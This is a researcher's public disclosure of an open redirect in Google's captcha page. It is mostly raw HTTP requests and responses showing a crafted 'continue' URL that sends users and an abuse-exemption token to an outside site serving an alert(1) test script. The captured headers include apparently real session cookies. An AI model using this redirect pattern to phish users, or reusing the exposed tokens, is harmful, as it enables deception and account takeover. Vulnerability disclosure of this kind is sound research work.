Google's captcha page suffers from an open redirect vulnerability because it fails to verify that the "continue" parameter in the URI is actually a Google domain or even the referring domain. After checking Google's bug bounty however, they state:
"URL redirection. We recognize that the address bar is the only reliable security indicator in modern browsers; consequently, we hold that the usability and security benefits of a small number of well-designed and closely monitored redirectors outweigh their true risks".
So, I'm publicly disclosing this as a POC for research/educational purposes...
Affected URL:
https://ipv4.google.com/sorry/CaptchaRedirect?continue=http%3A%2F%2Fwww.xerosecurity.com/search
GET /sorry/CaptchaRedirect?continue=http%3A%2F%2Fwww.xerosecurity.com%2Fsearch&id=14323360019737732799&captcha=phaures&submit=Submit HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://ipv4.google.com/sorry/CaptchaRedirect?continue=http%3A%2F%2Fwww.xerosecurity.com/search
Cookie: NID=67=IJICmq9eG5l0yY71_TfQozLw8DqSRnymUmwzff1ftXnOJUKR1DmQ6oNiVUHutjOq8gSK-U5pHi96fgeEcjj7PX_tzBD5A_mOXE5wgZFddOC1p7gpn6gh7OfKbY8yASBSdChbMBpd2599HQqixF_yQZJJ3YGLPE0ojZGWkkX-ArdVUC_-pN9koTIoKx9eE0YY8SXE6GjnCnhvQYfEQuDW-Uxe; SID=DQAAAOkAAABhw0WvrjkT8xQH6c2XgaLv0p-tL5jZLgztm7PS4qjUKRW5A82hfRjqWIfUtygXtsOMVn79HsfuJlvygQihmq_jLIiKcVBSD6sP_j1zjQ70SJXlu_CwJS8BbCB6qte5owth0Woh9QYpQwlb3oGiIO14jzMO3J2bB3igtHuM9zw_FeeuV-45KLypZVSQ3vRgi1ql3CwCaGwdDOWsKX6sXYupSTWuwJGXlDoUbRelbGbNbj5lFk8zjH7i_OpSHtoObNSxcez8XKDdGGCXBunuxjmR5AJFPfOZAtuxUyNvepJNdtl85w9dp2rBmNK0vdy36Bg; HSID=An9s7nZT7S1d_V9NH; SSID=A5E1or_MNlR1bvfU0; APISID=NYY4lJPJNBtsj_OP/A93qTAJ9-5f1twNHn; SAPISID=yMRvPFxee5Yw48l7/A7k5Ks0Cjoi06jpEW; PREF=ID=062dffbad71fd850:U=741c8f032b07f996:FF=0:LD=en:TM=1415471152:LM=1415472410:GM=1:S=SJROGFDVcQgxz3Bj; GOOGLE_ABUSE_EXEMPTION=ID=b1036b53551499da:TM=1417137339:C=c:IP=37.221.161.234-:S=APGng0sgdi6BVBm7QOwlNSTnlE3Uvcupow
Connection: keep-alive
Host: ipv4.google.com
GET /search?google_abuse=GOOGLE_ABUSE_EXEMPTION%3DID%3Db1036b53551499da:TM%3D1417137339:C%3Dc:IP%3D37.221.161.234-:S%3DAPGng0v_nA-tCWgqXfxnch6lFhMcnFuAeg%3B+path%3D/%3B+domain%3Dgoogle.com%3B+expires%3DFri,+28-Nov-2014+04:15:39+GMT HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: __unam=7639673-1499c44efc6-201377d0-26; _ga=GA1.2.1993885406.1416758620; PHPSESSID=kph66vkf5on6879ivj7paml4o4
Connection: keep-alive
Host: www.xerosecurity.com
Proxy-Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 28 Nov 2014 01:08:32 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Fri, 28 Nov 2014 00:39:03 GMT
ETag: "e40dbf-47-508e07cd2d95b"
Accept-Ranges: bytes
Content-Length: 71
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
<html>
<head></head>
<body>
<script>alert(1);</script>
</body>
</html>
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